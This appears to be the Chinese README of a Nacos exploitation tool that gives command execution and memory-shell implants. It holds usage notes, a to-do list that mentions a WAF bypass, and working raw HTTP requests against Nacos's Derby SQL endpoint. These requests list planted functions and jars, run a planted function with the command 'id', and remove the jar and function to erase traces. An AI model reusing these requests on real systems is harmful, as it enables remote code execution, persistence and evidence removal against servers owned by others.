NacosExploit 命令执行 内存马等利用

使用注意： 先判断漏洞和系统 可能是未授权可能是后台 后台就填一下access token 这个非必填 落地jar目录必须写 内存马连接问题 url要形如 http://127.0.0.1:8848/nacos/111 一直在部署就参考一下6

1. 部署函数id问题 没办法 存一下吧✅ (被部署太多不容易打，可参考6)
2. 本地加载 ✅
3. 关闭时要结束进程✅
4. 内存马太大 怎么办 ？
   命令写内存jar？ 精简 ？ ❎ 换蚁剑✅
5. 判断系统 人工选择路径✅
6. 擦屁股/爆菊
   查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具

   GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
   Host: 172.16.0.95:8848
   Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
   Connection: close

查询部署的jar

GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

利用

GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

删除jar 卸载函数

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain

CALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)
------WebKitFormBoundarymeBFzDXo--

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close

------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain

DROP FUNCTION S_EXAMPLE_AGIAJSOK
------WebKitFormBoundarymeBFzDXo--

验证

7. bypass waf

......